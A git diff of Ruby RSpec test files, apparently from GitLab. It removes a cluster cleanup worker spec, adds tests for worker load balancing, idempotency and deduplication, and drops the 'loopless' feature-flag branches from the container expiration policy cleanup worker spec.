@@ -1,41 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Clusters::Cleanup::AppWorker do
- describe '#perform' do
- subject { worker_instance.perform(cluster.id) }
-
- let!(:worker_instance) { described_class.new }
- let!(:cluster) { create(:cluster, :project, :cleanup_uninstalling_applications, provider_type: :gcp) }
- let!(:logger) { worker_instance.send(:logger) }
-
- it_behaves_like 'cluster cleanup worker base specs'
-
- context 'when exceeded the execution limit' do
- subject { worker_instance.perform(cluster.id, worker_instance.send(:execution_limit)) }
-
- let(:worker_instance) { described_class.new }
- let(:logger) { worker_instance.send(:logger) }
- let!(:helm) { create(:clusters_applications_helm, :installed, cluster: cluster) }
- let!(:ingress) { create(:clusters_applications_ingress, :scheduled, cluster: cluster) }
-
- it 'logs the error' do
- expect(logger).to receive(:error)
- .with(
- hash_including(
- exception: 'ClusterCleanupMethods::ExceededExecutionLimitError',
- cluster_id: kind_of(Integer),
- class_name: described_class.name,
- applications: "helm:installed,ingress:scheduled",
- cleanup_status: cluster.cleanup_status_name,
- event: :failed_to_remove_cluster_and_resources,
- message: "exceeded execution limit of 10 tries"
- )
- )
-
- subject
- end
- end
- end
-end
diff --git a/spec/workers/concerns/application_worker_spec.rb b/spec/workers/concerns/application_worker_spec.rb
index 5c1a1d3ae8f..29c69ff8b4b 100644
--- a/spec/workers/concerns/application_worker_spec.rb
+++ b/spec/workers/concerns/application_worker_spec.rb
@@ -176,6 +176,40 @@ RSpec.describe ApplicationWorker do
end
end
+ describe '.perform_async' do
+ shared_examples_for 'worker utilizes load balancing capabilities' do |data_consistency|
+ before do
+ worker.data_consistency(data_consistency)
+ end
+
+ it 'call perform_in' do
+ expect(worker).to receive(:perform_in).with(described_class::DEFAULT_DELAY_INTERVAL.seconds, 123)
+
+ worker.perform_async(123)
+ end
+ end
+
+ context 'when workers data consistency is :sticky' do
+ it_behaves_like 'worker utilizes load balancing capabilities', :sticky
+ end
+
+ context 'when workers data consistency is :delayed' do
+ it_behaves_like 'worker utilizes load balancing capabilities', :delayed
+ end
+
+ context 'when workers data consistency is :always' do
+ before do
+ worker.data_consistency(:always)
+ end
+
+ it 'does not call perform_in' do
+ expect(worker).not_to receive(:perform_in)
+
+ worker.perform_async
+ end
+ end
+ end
+
describe '.bulk_perform_async' do
it 'enqueues jobs in bulk' do
Sidekiq::Testing.fake! do
diff --git a/spec/workers/concerns/worker_attributes_spec.rb b/spec/workers/concerns/worker_attributes_spec.rb
index a654ecbd3e2..d4b17c65f46 100644
--- a/spec/workers/concerns/worker_attributes_spec.rb
+++ b/spec/workers/concerns/worker_attributes_spec.rb
@@ -62,6 +62,12 @@ RSpec.describe WorkerAttributes do
end
describe '.idempotent!' do
+ it 'sets `idempotent` attribute of the worker class to true' do
+ worker.idempotent!
+
+ expect(worker.send(:class_attributes)[:idempotent]).to eq(true)
+ end
+
context 'when data consistency is not :always' do
it 'raise exception' do
worker.data_consistency(:sticky)
@@ -71,4 +77,66 @@ RSpec.describe WorkerAttributes do
end
end
end
+
+ describe '.idempotent?' do
+ subject(:idempotent?) { worker.idempotent? }
+
+ context 'when the worker is idempotent' do
+ before do
+ worker.idempotent!
+ end
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when the worker is not idempotent' do
+ it { is_expected.to be_falsey }
+ end
+ end
+
+ describe '.deduplicate' do
+ it 'sets deduplication_strategy and deduplication_options' do
+ worker.deduplicate(:until_executing, including_scheduled: true)
+
+ expect(worker.send(:class_attributes)[:deduplication_strategy]).to eq(:until_executing)
+ expect(worker.send(:class_attributes)[:deduplication_options]).to eq(including_scheduled: true)
+ end
+ end
+
+ describe '#deduplication_enabled?' do
+ subject(:deduplication_enabled?) { worker.deduplication_enabled? }
+
+ context 'when no feature flag is set' do
+ before do
+ worker.deduplicate(:until_executing)
+ end
+
+ it { is_expected.to eq(true) }
+ end
+
+ context 'when feature flag is set' do
+ before do
+ skip_feature_flags_yaml_validation
+ skip_default_enabled_yaml_check
+
+ worker.deduplicate(:until_executing, feature_flag: :my_feature_flag)
+ end
+
+ context 'when the FF is enabled' do
+ before do
+ stub_feature_flags(my_feature_flag: true)
+ end
+
+ it { is_expected.to eq(true) }
+ end
+
+ context 'when the FF is disabled' do
+ before do
+ stub_feature_flags(my_feature_flag: false)
+ end
+
+ it { is_expected.to eq(false) }
+ end
+ end
+ end
end
diff --git a/spec/workers/container_expiration_policies/cleanup_container_repository_worker_spec.rb b/spec/workers/container_expiration_policies/cleanup_container_repository_worker_spec.rb
index 04f568515ed..c399697cbe0 100644
--- a/spec/workers/container_expiration_policies/cleanup_container_repository_worker_spec.rb
+++ b/spec/workers/container_expiration_policies/cleanup_container_repository_worker_spec.rb
@@ -85,7 +85,7 @@ RSpec.describe ContainerExpirationPolicies::CleanupContainerRepositoryWorker do
context 'with policy running shortly' do
before do
- repository.cleanup_unfinished! if loopless_enabled?
+ repository.cleanup_unfinished!
policy.update_column(:next_run_at, 1.minute.from_now)
end
@@ -108,371 +108,261 @@ RSpec.describe ContainerExpirationPolicies::CleanupContainerRepositoryWorker do
it 'skips the repository' do
expect(ContainerExpirationPolicies::CleanupService).not_to receive(:new)
- if loopless_enabled?
- expect { subject }
- .to not_change { ContainerRepository.waiting_for_cleanup.count }
- .and not_change { repository.reload.expiration_policy_cleanup_status }
- else
- expect { subject }.to change { ContainerRepository.waiting_for_cleanup.count }.from(1).to(0)
- expect(repository.reload.cleanup_unscheduled?).to be_truthy
- end
+ expect { subject }
+ .to not_change { ContainerRepository.waiting_for_cleanup.count }
+ .and not_change { repository.reload.expiration_policy_cleanup_status }
end
end
end
- context 'with loopless enabled' do
+ context 'with repository in cleanup unscheduled state' do
before do
- stub_feature_flags(container_registry_expiration_policies_loopless: true)
+ policy.update_column(:next_run_at, 5.minutes.ago)
end
- context 'with repository in cleanup unscheduled state' do
- before do
- policy.update_column(:next_run_at, 5.minutes.ago)
- end
+ it_behaves_like 'handling all repository conditions'
+ end
- it_behaves_like 'handling all repository conditions'
+ context 'with repository in cleanup unfinished state' do
+ before do
+ repository.cleanup_unfinished!
end
- context 'with repository in cleanup unfinished state' do
- before do
- repository.cleanup_unfinished!
- end
+ it_behaves_like 'handling all repository conditions'
+ end
- it_behaves_like 'handling all repository conditions'
- end
+ context 'container repository selection' do
+ where(:repository_cleanup_status, :repository_policy_status, :other_repository_cleanup_status, :other_repository_policy_status, :expected_selected_repository) do
+ :unscheduled | :disabled | :unscheduled | :disabled | :none
+ :unscheduled | :disabled | :unscheduled | :runnable | :other_repository
+ :unscheduled | :disabled | :unscheduled | :not_runnable | :none
- context 'container repository selection' do
- where(:repository_cleanup_status, :repository_policy_status, :other_repository_cleanup_status, :other_repository_policy_status, :expected_selected_repository) do
- :unscheduled | :disabled | :unscheduled | :disabled | :none
- :unscheduled | :disabled | :unscheduled | :runnable | :other_repository
- :unscheduled | :disabled | :unscheduled | :not_runnable | :none
+ :unscheduled | :disabled | :scheduled | :disabled | :none
+ :unscheduled | :disabled | :scheduled | :runnable | :other_repository
+ :unscheduled | :disabled | :scheduled | :not_runnable | :none
- :unscheduled | :disabled | :scheduled | :disabled | :none
- :unscheduled | :disabled | :scheduled | :runnable | :other_repository
- :unscheduled | :disabled | :scheduled | :not_runnable | :none
+ :unscheduled | :disabled | :unfinished | :disabled | :none
+ :unscheduled | :disabled | :unfinished | :runnable | :other_repository
+ :unscheduled | :disabled | :unfinished | :not_runnable | :other_repository
- :unscheduled | :disabled | :unfinished | :disabled | :none
- :unscheduled | :disabled | :unfinished | :runnable | :other_repository
- :unscheduled | :disabled | :unfinished | :not_runnable | :other_repository
+ :unscheduled | :disabled | :ongoing | :disabled | :none
+ :unscheduled | :disabled | :ongoing | :runnable | :none
+ :unscheduled | :disabled | :ongoing | :not_runnable | :none
- :unscheduled | :disabled | :ongoing | :disabled | :none
- :unscheduled | :disabled | :ongoing | :runnable | :none
- :unscheduled | :disabled | :ongoing | :not_runnable | :none
+ :unscheduled | :runnable | :unscheduled | :disabled | :repository
+ :unscheduled | :runnable | :unscheduled | :runnable | :repository
+ :unscheduled | :runnable | :unscheduled | :not_runnable | :repository
- :unscheduled | :runnable | :unscheduled | :disabled | :repository
- :unscheduled | :runnable | :unscheduled | :runnable | :repository
- :unscheduled | :runnable | :unscheduled | :not_runnable | :repository
+ :unscheduled | :runnable | :scheduled | :disabled | :repository
+ :unscheduled | :runnable | :scheduled | :runnable | :repository
+ :unscheduled | :runnable | :scheduled | :not_runnable | :repository
- :unscheduled | :runnable | :scheduled | :disabled | :repository
- :unscheduled | :runnable | :scheduled | :runnable | :repository
- :unscheduled | :runnable | :scheduled | :not_runnable | :repository
+ :unscheduled | :runnable | :unfinished | :disabled | :repository
+ :unscheduled | :runnable | :unfinished | :runnable | :repository
+ :unscheduled | :runnable | :unfinished | :not_runnable | :repository
- :unscheduled | :runnable | :unfinished | :disabled | :repository
- :unscheduled | :runnable | :unfinished | :runnable | :repository
- :unscheduled | :runnable | :unfinished | :not_runnable | :repository
+ :unscheduled | :runnable | :ongoing | :disabled | :repository
+ :unscheduled | :runnable | :ongoing | :runnable | :repository
+ :unscheduled | :runnable | :ongoing | :not_runnable | :repository
- :unscheduled | :runnable | :ongoing | :disabled | :repository
- :unscheduled | :runnable | :ongoing | :runnable | :repository
- :unscheduled | :runnable | :ongoing | :not_runnable | :repository
+ :scheduled | :disabled | :unscheduled | :disabled | :none
+ :scheduled | :disabled | :unscheduled | :runnable | :other_repository
+ :scheduled | :disabled | :unscheduled | :not_runnable | :none
- :scheduled | :disabled | :unscheduled | :disabled | :none
- :scheduled | :disabled | :unscheduled | :runnable | :other_repository
- :scheduled | :disabled | :unscheduled | :not_runnable | :none
+ :scheduled | :disabled | :scheduled | :disabled | :none
+ :scheduled | :disabled | :scheduled | :runnable | :other_repository
+ :scheduled | :disabled | :scheduled | :not_runnable | :none
- :scheduled | :disabled | :scheduled | :disabled | :none
- :scheduled | :disabled | :scheduled | :runnable | :other_repository
- :scheduled | :disabled | :scheduled | :not_runnable | :none
+ :scheduled | :disabled | :unfinished | :disabled | :none
+ :scheduled | :disabled | :unfinished | :runnable | :other_repository
+ :scheduled | :disabled | :unfinished | :not_runnable | :other_repository
- :scheduled | :disabled | :unfinished | :disabled | :none
- :scheduled | :disabled | :unfinished | :runnable | :other_repository
- :scheduled | :disabled | :unfinished | :not_runnable | :other_repository
+ :scheduled | :disabled | :ongoing | :disabled | :none
+ :scheduled | :disabled | :ongoing | :runnable | :none
+ :scheduled | :disabled | :ongoing | :not_runnable | :none
- :scheduled | :disabled | :ongoing | :disabled | :none
- :scheduled | :disabled | :ongoing | :runnable | :none
- :scheduled | :disabled | :ongoing | :not_runnable | :none
+ :scheduled | :runnable | :unscheduled | :disabled | :repository
+ :scheduled | :runnable | :unscheduled | :runnable | :other_repository
+ :scheduled | :runnable | :unscheduled | :not_runnable | :repository
- :scheduled | :runnable | :unscheduled | :disabled | :repository
- :scheduled | :runnable | :unscheduled | :runnable | :other_repository
- :scheduled | :runnable | :unscheduled | :not_runnable | :repository
+ :scheduled | :runnable | :scheduled | :disabled | :repository
+ :scheduled | :runnable | :scheduled | :runnable | :repository
+ :scheduled | :runnable | :scheduled | :not_runnable | :repository
- :scheduled | :runnable | :scheduled | :disabled | :repository
- :scheduled | :runnable | :scheduled | :runnable | :repository
- :scheduled | :runnable | :scheduled | :not_runnable | :repository
+ :scheduled | :runnable | :unfinished | :disabled | :repository
+ :scheduled | :runnable | :unfinished | :runnable | :repository
+ :scheduled | :runnable | :unfinished | :not_runnable | :repository
- :scheduled | :runnable | :unfinished | :disabled | :repository
- :scheduled | :runnable | :unfinished | :runnable | :repository
- :scheduled | :runnable | :unfinished | :not_runnable | :repository
+ :scheduled | :runnable | :ongoing | :disabled | :repository
+ :scheduled | :runnable | :ongoing | :runnable | :repository
+ :scheduled | :runnable | :ongoing | :not_runnable | :repository
- :scheduled | :runnable | :ongoing | :disabled | :repository
- :scheduled | :runnable | :ongoing | :runnable | :repository
- :scheduled | :runnable | :ongoing | :not_runnable | :repository
+ :scheduled | :not_runnable | :unscheduled | :disabled | :none
+ :scheduled | :not_runnable | :unscheduled | :runnable | :other_repository
+ :scheduled | :not_runnable | :unscheduled | :not_runnable | :none
- :scheduled | :not_runnable | :unscheduled | :disabled | :none
- :scheduled | :not_runnable | :unscheduled | :runnable | :other_repository
- :scheduled | :not_runnable | :unscheduled | :not_runnable | :none
+ :scheduled | :not_runnable | :scheduled | :disabled | :none
+ :scheduled | :not_runnable | :scheduled | :runnable | :other_repository
+ :scheduled | :not_runnable | :scheduled | :not_runnable | :none
- :scheduled | :not_runnable | :scheduled | :disabled | :none
- :scheduled | :not_runnable | :scheduled | :runnable | :other_repository
- :scheduled | :not_runnable | :scheduled | :not_runnable | :none
+ :scheduled | :not_runnable | :unfinished | :disabled | :none
+ :scheduled | :not_runnable | :unfinished | :runnable | :other_repository
+ :scheduled | :not_runnable | :unfinished | :not_runnable | :other_repository
- :scheduled | :not_runnable | :unfinished | :disabled | :none
- :scheduled | :not_runnable | :unfinished | :runnable | :other_repository
- :scheduled | :not_runnable | :unfinished | :not_runnable | :other_repository
+ :scheduled | :not_runnable | :ongoing | :disabled | :none
+ :scheduled | :not_runnable | :ongoing | :runnable | :none
+ :scheduled | :not_runnable | :ongoing | :not_runnable | :none
- :scheduled | :not_runnable | :ongoing | :disabled | :none
- :scheduled | :not_runnable | :ongoing | :runnable | :none
- :scheduled | :not_runnable | :ongoing | :not_runnable | :none
+ :unfinished | :disabled | :unscheduled | :disabled | :none
+ :unfinished | :disabled | :unscheduled | :runnable | :other_repository
+ :unfinished | :disabled | :unscheduled | :not_runnable | :none
- :unfinished | :disabled | :unscheduled | :disabled | :none
- :unfinished | :disabled | :unscheduled | :runnable | :other_repository
- :unfinished | :disabled | :unscheduled | :not_runnable | :none
+ :unfinished | :disabled | :scheduled | :disabled | :none
+ :unfinished | :disabled | :scheduled | :runnable | :other_repository
+ :unfinished | :disabled | :scheduled | :not_runnable | :none
- :unfinished | :disabled | :scheduled | :disabled | :none
- :unfinished | :disabled | :scheduled | :runnable | :other_repository
- :unfinished | :disabled | :scheduled | :not_runnable | :none
+ :unfinished | :disabled | :unfinished | :disabled | :none
+ :unfinished | :disabled | :unfinished | :runnable | :other_repository
+ :unfinished | :disabled | :unfinished | :not_runnable | :other_repository
- :unfinished | :disabled | :unfinished | :disabled | :none
- :unfinished | :disabled | :unfinished | :runnable | :other_repository
- :unfinished | :disabled | :unfinished | :not_runnable | :other_repository
+ :unfinished | :disabled | :ongoing | :disabled | :none
+ :unfinished | :disabled | :ongoing | :runnable | :none
+ :unfinished | :disabled | :ongoing | :not_runnable | :none
- :unfinished | :disabled | :ongoing | :disabled | :none
- :unfinished | :disabled | :ongoing | :runnable | :none
- :unfinished | :disabled | :ongoing | :not_runnable | :none
+ :unfinished | :runnable | :unscheduled | :disabled | :repository
+ :unfinished | :runnable | :unscheduled | :runnable | :other_repository
+ :unfinished | :runnable | :unscheduled | :not_runnable | :repository
+
+ :unfinished | :runnable | :scheduled | :disabled | :repository
+ :unfinished | :runnable | :scheduled | :runnable | :other_repository
+ :unfinished | :runnable | :scheduled | :not_runnable | :repository
- :unfinished | :runnable | :unscheduled | :disabled | :repository
- :unfinished | :runnable | :unscheduled | :runnable | :other_repository
- :unfinished | :runnable | :unscheduled | :not_runnable | :repository
-
- :unfinished | :runnable | :scheduled | :disabled | :repository
- :unfinished | :runnable | :scheduled | :runnable | :other_repository
- :unfinished | :runnable | :scheduled | :not_runnable | :repository
+ :unfinished | :runnable | :unfinished | :disabled | :repository
+ :unfinished | :runnable | :unfinished | :runnable | :repository
+ :unfinished | :runnable | :unfinished | :not_runnable | :repository
- :unfinished | :runnable | :unfinished | :disabled | :repository
- :unfinished | :runnable | :unfinished | :runnable | :repository
- :unfinished | :runnable | :unfinished | :not_runnable | :repository
+ :unfinished | :runnable | :ongoing | :disabled | :repository
+ :unfinished | :runnable | :ongoing | :runnable | :repository
+ :unfinished | :runnable | :ongoing | :not_runnable | :repository
- :unfinished | :runnable | :ongoing | :disabled | :repository
- :unfinished | :runnable | :ongoing | :runnable | :repository
- :unfinished | :runnable | :ongoing | :not_runnable | :repository
+ :unfinished | :not_runnable | :unscheduled | :disabled | :repository
+ :unfinished | :not_runnable | :unscheduled | :runnable | :other_repository
+ :unfinished | :not_runnable | :unscheduled | :not_runnable | :repository
- :unfinished | :not_runnable | :unscheduled | :disabled | :repository
- :unfinished | :not_runnable | :unscheduled | :runnable | :other_repository
- :unfinished | :not_runnable | :unscheduled | :not_runnable | :repository
+ :unfinished | :not_runnable | :scheduled | :disabled | :repository
+ :unfinished | :not_runnable | :scheduled | :runnable | :other_repository
+ :unfinished | :not_runnable | :scheduled | :not_runnable | :repository
- :unfinished | :not_runnable | :scheduled | :disabled | :repository
- :unfinished | :not_runnable | :scheduled | :runnable | :other_repository
- :unfinished | :not_runnable | :scheduled | :not_runnable | :repository
+ :unfinished | :not_runnable | :unfinished | :disabled | :repository
+ :unfinished | :not_runnable | :unfinished | :runnable | :repository
+ :unfinished | :not_runnable | :unfinished | :not_runnable | :repository
- :unfinished | :not_runnable | :unfinished | :disabled | :repository
- :unfinished | :not_runnable | :unfinished | :runnable | :repository
- :unfinished | :not_runnable | :unfinished | :not_runnable | :repository
+ :unfinished | :not_runnable | :ongoing | :disabled | :repository
+ :unfinished | :not_runnable | :ongoing | :runnable | :repository
+ :unfinished | :not_runnable | :ongoing | :not_runnable | :repository
- :unfinished | :not_runnable | :ongoing | :disabled | :repository
- :unfinished | :not_runnable | :ongoing | :runnable | :repository
- :unfinished | :not_runnable | :ongoing | :not_runnable | :repository
+ :ongoing | :disabled | :unscheduled | :disabled | :none
+ :ongoing | :disabled | :unscheduled | :runnable | :other_repository
+ :ongoing | :disabled | :unscheduled | :not_runnable | :none
- :ongoing | :disabled | :unscheduled | :disabled | :none
- :ongoing | :disabled | :unscheduled | :runnable | :other_repository
- :ongoing | :disabled | :unscheduled | :not_runnable | :none
+ :ongoing | :disabled | :scheduled | :disabled | :none
+ :ongoing | :disabled | :scheduled | :runnable | :other_repository
+ :ongoing | :disabled | :scheduled | :not_runnable | :none
- :ongoing | :disabled | :scheduled | :disabled | :none
- :ongoing | :disabled | :scheduled | :runnable | :other_repository
- :ongoing | :disabled | :scheduled | :not_runnable | :none
+ :ongoing | :disabled | :unfinished | :disabled | :none
+ :ongoing | :disabled | :unfinished | :runnable | :other_repository
+ :ongoing | :disabled | :unfinished | :not_runnable | :other_repository
- :ongoing | :disabled | :unfinished | :disabled | :none
- :ongoing | :disabled | :unfinished | :runnable | :other_repository
- :ongoing | :disabled | :unfinished | :not_runnable | :other_repository
+ :ongoing | :disabled | :ongoing | :disabled | :none
+ :ongoing | :disabled | :ongoing | :runnable | :none
+ :ongoing | :disabled | :ongoing | :not_runnable | :none
- :ongoing | :disabled | :ongoing | :disabled | :none
- :ongoing | :disabled | :ongoing | :runnable | :none
- :ongoing | :disabled | :ongoing | :not_runnable | :none
+ :ongoing | :runnable | :unscheduled | :disabled | :none
+ :ongoing | :runnable | :unscheduled | :runnable | :other_repository
+ :ongoing | :runnable | :unscheduled | :not_runnable | :none
- :ongoing | :runnable | :unscheduled | :disabled | :none
- :ongoing | :runnable | :unscheduled | :runnable | :other_repository
- :ongoing | :runnable | :unscheduled | :not_runnable | :none
+ :ongoing | :runnable | :scheduled | :disabled | :none
+ :ongoing | :runnable | :scheduled | :runnable | :other_repository
+ :ongoing | :runnable | :scheduled | :not_runnable | :none
- :ongoing | :runnable | :scheduled | :disabled | :none
- :ongoing | :runnable | :scheduled | :runnable | :other_repository
- :ongoing | :runnable | :scheduled | :not_runnable | :none
+ :ongoing | :runnable | :unfinished | :disabled | :none
+ :ongoing | :runnable | :unfinished | :runnable | :other_repository
+ :ongoing | :runnable | :unfinished | :not_runnable | :other_repository
- :ongoing | :runnable | :unfinished | :disabled | :none
- :ongoing | :runnable | :unfinished | :runnable | :other_repository
- :ongoing | :runnable | :unfinished | :not_runnable | :other_repository
+ :ongoing | :runnable | :ongoing | :disabled | :none
+ :ongoing | :runnable | :ongoing | :runnable | :none
+ :ongoing | :runnable | :ongoing | :not_runnable | :none
- :ongoing | :runnable | :ongoing | :disabled | :none
- :ongoing | :runnable | :ongoing | :runnable | :none
- :ongoing | :runnable | :ongoing | :not_runnable | :none
+ :ongoing | :not_runnable | :unscheduled | :disabled | :none
+ :ongoing | :not_runnable | :unscheduled | :runnable | :other_repository
+ :ongoing | :not_runnable | :unscheduled | :not_runnable | :none
- :ongoing | :not_runnable | :unscheduled | :disabled | :none
- :ongoing | :not_runnable | :unscheduled | :runnable | :other_repository
- :ongoing | :not_runnable | :unscheduled | :not_runnable | :none
+ :ongoing | :not_runnable | :scheduled | :disabled | :none
+ :ongoing | :not_runnable | :scheduled | :runnable | :other_repository
+ :ongoing | :not_runnable | :scheduled | :not_runnable | :none
- :ongoing | :not_runnable | :scheduled | :disabled | :none
- :ongoing | :not_runnable | :scheduled | :runnable | :other_repository
- :ongoing | :not_runnable | :scheduled | :not_runnable | :none
+ :ongoing | :not_runnable | :unfinished | :disabled | :none
+ :ongoing | :not_runnable | :unfinished | :runnable | :other_repository
+ :ongoing | :not_runnable | :unfinished | :not_runnable | :other_repository
- :ongoing | :not_runnable | :unfinished | :disabled | :none
- :ongoing | :not_runnable | :unfinished | :runnable | :other_repository
- :ongoing | :not_runnable | :unfinished | :not_runnable | :other_repository
+ :ongoing | :not_runnable | :ongoing | :disabled | :none
+ :ongoing | :not_runnable | :ongoing | :runnable | :none
+ :ongoing | :not_runnable | :ongoing | :not_runnable | :none
+ end
- :ongoing | :not_runnable | :ongoing | :disabled | :none
- :ongoing | :not_runnable | :ongoing | :runnable | :none
- :ongoing | :not_runnable | :ongoing | :not_runnable | :none
+ with_them do
+ before do
+ update_container_repository(repository, repository_cleanup_status, repository_policy_status)
+ update_container_repository(other_repository, other_repository_cleanup_status, other_repository_policy_status)
end
- with_them do
- before do
- update_container_repository(repository, repository_cleanup_status, repository_policy_status)
- update_container_repository(other_repository, other_repository_cleanup_status, other_repository_policy_status)
- end
-
- subject { worker.send(:container_repository) }
-
- if params[:expected_selected_repository] == :none
- it 'does not select any repository' do
- expect(subject).to eq(nil)
- end
- else
- it 'does select a repository' do
- selected_repository = expected_selected_repository == :repository ? repository : other_repository
+ subject { worker.send(:container_repository) }
- expect(subject).to eq(selected_repository)
- end
+ if params[:expected_selected_repository] == :none
+ it 'does not select any repository' do
+ expect(subject).to eq(nil)
end
+ else
+ it 'does select a repository' do
+ selected_repository = expected_selected_repository == :repository ? repository : other_repository
- def update_container_repository(container_repository, cleanup_status, policy_status)
- container_repository.update_column(:expiration_policy_cleanup_status, "cleanup_#{cleanup_status}")
-
- policy = container_repository.project.container_expiration_policy
-
- case policy_status
- when :disabled
- policy.update!(enabled: false)
- when :runnable
- policy.update!(enabled: true)
- policy.update_column(:next_run_at, 5.minutes.ago)
- when :not_runnable
- policy.update!(enabled: true)
- policy.update_column(:next_run_at, 5.minutes.from_now)
- end
+ expect(subject).to eq(selected_repository)
end
end
- end
- context 'with another repository in cleanup unfinished state' do
- let_it_be(:another_repository) { create(:container_repository, :cleanup_unfinished) }
+ def update_container_repository(container_repository, cleanup_status, policy_status)
+ container_repository.update_column(:expiration_policy_cleanup_status, "cleanup_#{cleanup_status}")
- before do
- policy.update_column(:next_run_at, 5.minutes.ago)
- end
+ policy = container_repository.project.container_expiration_policy
- it 'process the cleanup scheduled repository first' do
- service_response = cleanup_service_response(repository: repository)
- expect(ContainerExpirationPolicies::CleanupService)
- .to receive(:new).with(repository).and_return(double(execute: service_response))
- expect_log_extra_metadata(service_response: service_response)
-
- subject
+ case policy_status
+ when :disabled
+ policy.update!(enabled: false)
+ when :runnable
+ policy.update!(enabled: true)
+ policy.update_column(:next_run_at, 5.minutes.ago)
+ when :not_runnable
+ policy.update!(enabled: true)
+ policy.update_column(:next_run_at, 5.minutes.from_now)
+ end
end
end
end
- context 'with loopless disabled' do
- before do
- stub_feature_flags(container_registry_expiration_policies_loopless: false)
- end
-
- context 'with repository in cleanup scheduled state' do
- it_behaves_like 'handling all repository conditions'
- end
-
- context 'with repository in cleanup unfinished state' do
- before do
- repository.cleanup_unfinished!
- end
-
- it_behaves_like 'handling all repository conditions'
- end
-
- context 'with another repository in cleanup unfinished state' do
- let_it_be(:another_repository) { create(:container_repository, :cleanup_unfinished) }
-
- it 'process the cleanup scheduled repository first' do
- service_response = cleanup_service_response(repository: repository)
- expect(ContainerExpirationPolicies::CleanupService)
- .to receive(:new).with(repository).and_return(double(execute: service_response))
- expect_log_extra_metadata(service_response: service_response)
-
- subject
- end
- end
-
- context 'with multiple repositories in cleanup unfinished state' do
- let_it_be(:repository2) { create(:container_repository, :cleanup_unfinished, expiration_policy_started_at: 20.minutes.ago) }
- let_it_be(:repository3) { create(:container_repository, :cleanup_unfinished, expiration_policy_started_at: 10.minutes.ago) }
-
- before do
- repository.update!(expiration_policy_cleanup_status: :cleanup_unfinished, expiration_policy_started_at: 30.minutes.ago)
- end
+ context 'with another repository in cleanup unfinished state' do
+ let_it_be(:another_repository) { create(:container_repository, :cleanup_unfinished) }
- it 'process the repository with the oldest expiration_policy_started_at' do
- service_response = cleanup_service_response(repository: repository)
- expect(ContainerExpirationPolicies::CleanupService)
- .to receive(:new).with(repository).and_return(double(execute: service_response))
- expect_log_extra_metadata(service_response: service_response)
-
- subject
- end
- end
-
- context 'with repository in cleanup ongoing state' do
- before do
- repository.cleanup_ongoing!
- end
-
- it 'does not process it' do
- expect(Projects::ContainerRepository::CleanupTagsService).not_to receive(:new)
-
- expect { subject }.not_to change { ContainerRepository.waiting_for_cleanup.count }
- expect(repository.cleanup_ongoing?).to be_truthy
- end
- end
-
- context 'with no repository in any cleanup state' do
- before do
- repository.cleanup_unscheduled!
- end
-
- it 'does not process it' do
- expect(Projects::ContainerRepository::CleanupTagsService).not_to receive(:new)
-
- expect { subject }.not_to change { ContainerRepository.waiting_for_cleanup.count }
- expect(repository.cleanup_unscheduled?).to be_truthy
- end
- end
-
- context 'with no container repository waiting' do
- before do
- repository.destroy!
- end
-
- it 'does not execute the cleanup tags service' do
- expect(Projects::ContainerRepository::CleanupTagsService).not_to receive(:new)
-
- expect { subject }.not_to change { ContainerRepository.waiting_for_cleanup.count }
- end
+ before do
+ policy.update_column(:next_run_at, 5.minutes.ago)
end
- context 'with feature flag disabled' do
- before do
- stub_feature_flags(container_registry_expiration_policies_throttling: false)
- end
-
- it 'is a no-op' do
- expect(Projects::ContainerRepository::CleanupTagsService).not_to receive(:new)
+ it 'process the cleanup scheduled repository first' do
+ service_response = cleanup_service_response(repository: repository)
+ expect(ContainerExpirationPolicies::CleanupService)
+ .to receive(:new).with(repository).and_return(double(execute: service_response))
+ expect_log_extra_metadata(service_response: service_response)
- expect { subject }.not_to change { ContainerRepository.waiting_for_cleanup.count }
- end
+ subject
end
end
@@ -509,69 +399,53 @@ RSpec.describe ContainerExpirationPolicies::CleanupContainerRepositoryWorker do
end
describe '#remaining_work_count' do
- subject { worker.remaining_work_count }
+ let_it_be(:disabled_repository) { create(:container_repository, :cleanup_scheduled) }
- shared_examples 'handling all conditions' do
- context 'with container repositories waiting for cleanup' do
- let_it_be(:unfinished_repositories) { create_list(:container_repository, 2, :cleanup_unfinished) }
+ let(:capacity) { 10 }
- it { is_expected.to eq(3) }
+ subject { worker.remaining_work_count }
- it 'logs the work count' do
- expect_log_info(
- cleanup_scheduled_count: 1,
- cleanup_unfinished_count: 2,
- cleanup_total_count: 3
- )
+ before do
+ stub_application_setting(container_registry_expiration_policies_worker_capacity: capacity)
- subject
- end
- end
+ ContainerExpirationPolicy.update_all(enabled: true)
+ repository.project.container_expiration_policy.update_column(:next_run_at, 5.minutes.ago)
+ disabled_repository.project.container_expiration_policy.update_column(:enabled, false)
+ end
- context 'with no container repositories waiting for cleanup' do
- before do
- repository.cleanup_ongoing!
- policy.update_column(:next_run_at, 5.minutes.from_now)
- end
+ context 'with container repositories waiting for cleanup' do
+ let_it_be(:unfinished_repositories) { create_list(:container_repository, 2, :cleanup_unfinished) }
- it { is_expected.to eq(0) }
+ it { is_expected.to eq(3) }
- it 'logs 0 work count' do
- expect_log_info(
- cleanup_scheduled_count: 0,
- cleanup_unfinished_count: 0,
- cleanup_total_count: 0
- )
+ it 'logs the work count' do
+ expect_log_info(
+ cleanup_scheduled_count: 1,
+ cleanup_unfinished_count: 2,
+ cleanup_total_count: 3
+ )
- subject
- end
+ subject
end
end
- context 'with loopless enabled' do
- let_it_be(:disabled_repository) { create(:container_repository, :cleanup_scheduled) }
-
- let(:capacity) { 10 }
-
+ context 'with no container repositories waiting for cleanup' do
before do
- stub_feature_flags(container_registry_expiration_policies_loopless: true)
- stub_application_setting(container_registry_expiration_policies_worker_capacity: capacity)
-
- # loopless mode is more accurate that non loopless: policies need to be enabled
- ContainerExpirationPolicy.update_all(enabled: true)
- repository.project.container_expiration_policy.update_column(:next_run_at, 5.minutes.ago)
- disabled_repository.project.container_expiration_policy.update_column(:enabled, false)
+ repository.cleanup_ongoing!
+ policy.update_column(:next_run_at, 5.minutes.from_now)
end
- it_behaves_like 'handling all conditions'
- end
+ it { is_expected.to eq(0) }
- context 'with loopless disabled' do
- before do
- stub_feature_flags(container_registry_expiration_policies_loopless: false)
- end
+ it 'logs 0 work count' do
+ expect_log_info(
+ cleanup_scheduled_count: 0,
+ cleanup_unfinished_count: 0,
+ cleanup_total_count: 0
+ )
- it_behaves_like 'handling all conditions'
+ subject
+ end
end
end
